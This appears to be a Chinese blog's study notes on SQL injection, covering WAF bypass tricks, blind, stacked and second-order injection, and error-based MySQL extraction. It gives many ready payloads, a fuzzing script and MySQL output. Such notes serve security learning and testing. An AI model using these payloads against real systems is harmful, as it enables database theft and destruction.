学习笔记-SQL注入(下)

语法参考和小技巧

行间注释 

  • --
DROP sampletable;--
  • #
DROP sampletable;#

行内注释 

  • /*注释内容*/
DROP/*comment*/sampletable` 
DR/**/OP/*绕过过滤*/sampletable` 
SELECT/*替换空格*/password/**/FROM/**/Members
  • /*! MYSQL专属 */
SELECT /*!32302 1/0, */ 1 FROM tablename

字符串编码 

在注入脚本中经常需要字符串与数字之间的相互转换。

  • ASCII():返回字符的 ASCII 码值
  • CHAR():把整数转换为对应的字符

注入点寻找

基于数据提交方式的分类

GET参数中的注入

可以通过SQLmap和手工注入验证地址栏中的GET参数。

POST参数中的注入

可以使用Burp或浏览器插件发送POST包,可以通过SQLmap和手工注入验证POST参数。

User-Agent 中的注入

使用Burp的Repeater或者SQLmap(参数level=3),让SQLmap自动检测是否存在注入。

Cookies 中的注入

同上,将SQLmap的参数level=2,自动监测Cookie是否存在注入。

基于SQL语句语法角度的分类

SELECT 注入

  • 注入点在select_expr
  • 注入点在table_reference
  • 注入点在WHERE或HAVING后
  • 注入点在GROUP BY 或 ORDER BY 后
  • 注入点在LIMIT后

INSERT 注入

  • 注入点位于tbl_name
  • 注入点位于VALUES

UPDATE 注入

DELETE 注入

常见WAF绕过

常见的绕过姿势有两种。

第一种是替换关键字,这种方式我们可以直接通过双写关键词等方式来进行绕过;

第二种是关键词直接拦截,这种情况下我们可以通过变换函数等方式来进行绕过。

空格

大部分的SQL语句都用到了空格,如果空格被拦截或者过滤,可以尝试以下两种方法:

  • 使用/**/即SQL语句中的注释语句来绕过。
  • 使用双写URL编码绕过,例如(%20 → %2520)。
  • 通过特殊符号(反引号、加号、括号等等),绕过空格。
  • 通过科学计数法绕过:where id=0e1union select 1,2
  • Fuzz所有字符,查找可替代空格的字符例如 %09 %0a %0b %0c %0d

这里是fuzz脚本:

import requests
for i in range(256):
    url = "http://0.0.0.0:6555/1.php" //这里是fuzz的地址
    querystring = {"id": "1%sor%s1=1" % (chr(i), chr(i))}
    payload = ""
    headers = {
        'cache-control': "no-cache",
        'Postman-Token': "ad28b8ea-268a-449a-b7cd-f6261250d766"
    }
    response = requests.request("GET", url, data=payload, headers=headers, params=querystring)
    if response.text.find("DSCTF2") != -1:
        print(i)

这里列出了数据库中一些常见的可以用来绕过空格过滤的空白字符:

数据库空白字符
SQLite30A 0D 0C 09 20
MYSQL509 0A 0B 0C 0D A0 20
PosgresSQL0A 0D 0C 09 20
Oracle 11g00 0A 0D 0C 09 20
MSSQL01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20

逗号过滤/拦截绕过

拦截逗号后,意味着大部分的联合查询注入都失效,这个时候可以尝试进行盲注。

substring和if语句都用到了括号,因此无法使用。

substring可以用substr函数来进行代替,if语句可以通过and语句来进行代替。

id=1 AND ascii(substr((SELECT database()) FROM 1 FOR
1))>115

其中

substr(SELECT database()) FROM 1 TO 1

返回database()中的第一个字符,可以通过脚本递增,来返回database中的所有字符;然后将ascii码进行比较,如果大于115,则则语句为真,id正常回显,否则不正常回显。

通过这种方法,通常引出二分法,便于快速筛出字符串。

除了以上方法,也可以通过join的语法来进行绕过。

id=1 union select *from (select 1)a join (select database())b

如果空格被过滤,采取以下方式:

id=1/**/union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/database())b

其他关键字过滤/拦截绕过

关键字被过滤时,可以通过双写或大小写、其他编码例如十六进制、URL编码来进行绕过:

关键字双写大小写其他编码
selectselselectectSelECtselec\x74
oroorroRo\x72
unionuniuniononuNioNunio\x6e

当被拦截的时候,通常寻找其他函数进行代替。

例如if被过滤,可以通过case when语句来进行替代。

id=1 and case when substring(database(),1,1)='t' then sleep(10) else 0 end

单引号拦截/过滤/转义绕过

当引号存在过滤和转义的情况下,可以这样处理:

利用编码特性绕过。

比较典型的使用编码就是GBK编码:使用前面的字符吃掉后面的字符(斜杆)。

id=1%df' union select 1,database()#

转义后传入的id:

1 %df\‘ => 1%df%5c’=> 1�’

宽字节吞引号。

当引号被转义,且不需要逃出单引号时

可以使用字符串,用十六进制的进制法来进行表示。

数字被过滤/拦截绕过

数字被屏蔽时,用响应函数结果来构造。

  • ceil() :为向上取整函数
  • floor():为向下取整函数
  • ! ~~:起到取反的效果
  • pi() :π值
  • version():利用当前版本号进行数字的构造
  • false:值为0
  • true:值为1

常见的SQL注入方式

基础注入方式

UNION(联合查询)注入

通过UNION语句拼接,执行后半段语句,来完成注入的效果。

数字型注入

尝试输入当 id=2 以及 id=3-1 相同时,证明存在数字型注入。当令 id 为负数或一个极大值时,将会超出 id 查询的范围。通常结合 limit 使用。

字符串注入

在MYSQL中,如果等号两边类型不一致,则会发生强制转换。当数字与字符串比较时,字符串会转换为数字,再进行比较。利用该特性可以判断该处注入是字符串型注入还是数字型注入(即有没有加上单引号过滤)。

进阶注入方式

盲注

有时候会存在开发者将MYSQL的报错信息屏蔽,攻击者无法正常得到MYSQL的回显。这个时候就需要用到盲注的技巧。

主要的盲注技巧有两种:BOOL盲注以及时间盲注。

BOOL盲注:原理是如果后端拼接SQL语句,当 and 1=1为真时不会影响结果,但是当 and 1=2 为假时,页面没有正确的回显。

主要使用到的函数有以下几种函数:

  • 截取函数
    • substr(string, index, offset)
    • left(string, offset)
    • right(string, offset)
  • 转换函数
    • ascii():将字符串转换为ASCII码
    • hex():将字符串的值转换为十六进制的值
  • 比较函数
    • if(condition, True_result, False_result):通常可以通过返回的值来进行判断,例如令if的返回值与一个定值进行比较,如果不等,则页面的长度不同,从而进行判定。

时间盲注:通过页面回显时间来判断回显的结果。常用的函数通常为 sleep() 函数以及 benchmark() 函数。

二次注入

二次注入的起因是数据在第一次入库的时候进行了一些过滤和转义,当这条数据在数据库中被取出来在SQL语句中进行拼接,而拼接过程没有过滤时,就会执行构造好的SQL语句。比较常见的有广告栏、订单等等,一般涉及到先插入在修改或者删除操作的时候都可能存在二次注入。

堆叠注入

Stacked injections(堆叠注入)指的是多条SQL注入语句一起使用,可以做到联合查询等无法做到的事情,例如删添改查其他数据表等等。

使用堆叠注入通常要结合各种SQL注入方式,

报错注入

转载自:MYSQL报错注入的一点总结

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。

数据溢出

这里可以看到mysql是怎么处理整形的:Integer Types (Exact Value),如下表:

TypeStorageMinimum ValueMaximum Value
(Bytes)(Signed/Unsigned)(Signed/Unsigned)
TINYINT1-128127
0255
SMALLINT2-3276832767
065535
MEDIUMINT3-83886088388607
016777215
INT4-21474836482147483647
04294967295
BIGINT8-92233720368547758089223372036854775807
018446744073709551615

在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'

我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:

mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost                   |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select !(select * from (select user())x);
+-----------------------------------+
| !(select * from (select user())x) |
+-----------------------------------+
|                                 1 |
+-----------------------------------+
1 row in set (0.01 sec)

mysql> select !(select * from (select user())x)+1;
+-------------------------------------+
| !(select * from (select user())x)+1 |
+-------------------------------------+
|                                   2 |
+-------------------------------------+
1 row in set (0.00 sec)

同理,利用exp函数也会产生类似的溢出错误:

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

注入姿势:

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

利用这一特性,再结合之前说的溢出报错,就可以进行注入了。这里需要说一下,经笔者测试,发现在mysql5.5.47可以在报错中返回查询结果:

mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

而在mysql>5.5.53时,则不能返回查询结果

mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))'

此外,报错信息是有长度限制的,在mysql/my_error.c中可以看到:

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

xpath语法错误

从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

mysql> select extractvalue(1,'/a/b');
+------------------------+
| extractvalue(1,'/a/b') |
+------------------------+
|                        |
+------------------------+
1 row in set (0.01 sec)

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

主键重复

这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的:

mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下:

mysql> select * from test;
+------+-------+
| id   | name  |
+------+-------+
| 0    | jack  |
| 1    | jack  |
| 2    | tom   |
| 3    | candy |
| 4    | tommy |
| 5    | jerry |
+------+-------+
6 rows in set (0.00 sec)

我们以select count(*) from test group by name语句说明大致过程如下:

  • 先是建立虚拟表,其中key为主键,不可重复:
keycount(*)
  • 开始查询数据,去数据库数据,然后查看虚拟表是否存在,不存在则插入新记录,存在则count(*)字段直接加1:
keycount(*)
jack1
keycount(*)
jack1+1
keycount(*)
jack1+1
tom1
keycount(*)
jack1+1
tom1
candy1

当这个操作遇到rand(0)*2时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0):

mysql> select rand(0) from test;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)

mysql> select rand(0) from test;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
+---------------------+
6 rows in set (0.00 sec)

同理,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要):

mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
+------------------+
6 rows in set (0.00 sec)

回到之前的group by语句上,我们将其改为select count(*) from test group by floor(rand(0)*2),看看每一步是什么情况:

  • 先建立空表
keycount(*)
  • 取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2),将结果1(第二次计算)插入虚表,如下:
keycount(*)
11
  • 查第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count(*)值加1,如下:
keycount(*)
11+1
  • 查第三条记录,再次计算floor(rand(0)*2),发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2),结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。
  • 最终报错的结果,即主键’1’重复:
mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

整个查询过程中,floor(rand(0)*2)被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。关于这个rand()的问题,官方文档在这里有个说明:

RAND() in a WHERE clause is evaluated for every row (when selecting from one table) or combination of rows (when selecting from a multiple-table join). Thus, for optimizer purposes, RAND() is not a constant value and cannot be used for index optimizations.

如果有一个序列开头时0,1,0或者1,0,1,则无论如何都不会报错了,因为虚表开头两个主键会分别是0和1,后面的就直接count(*)加1了:

mysql> select floor(rand(1)*2) from test;
+------------------+
| floor(rand(1)*2) |
+------------------+
|                0 |
|                1 |
|                0 |
|                0 |
|                0 |
|                1 |
+------------------+
6 rows in set (0.00 sec)

mysql> select count(*) from test group by floor(rand(1)*2);
+----------+
| count(*) |
+----------+
|        3 |
|        3 |
+----------+
2 rows in set (0.00 sec)

一些特性

  • 列名重复

mysql列名重复会报错,我们利用name_const来制造一个列:

mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'

根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。

利用这个特性加上join函数可以爆列名:

mysql> select *  from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select *  from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
  • 几何函数

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:

5.5.47
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇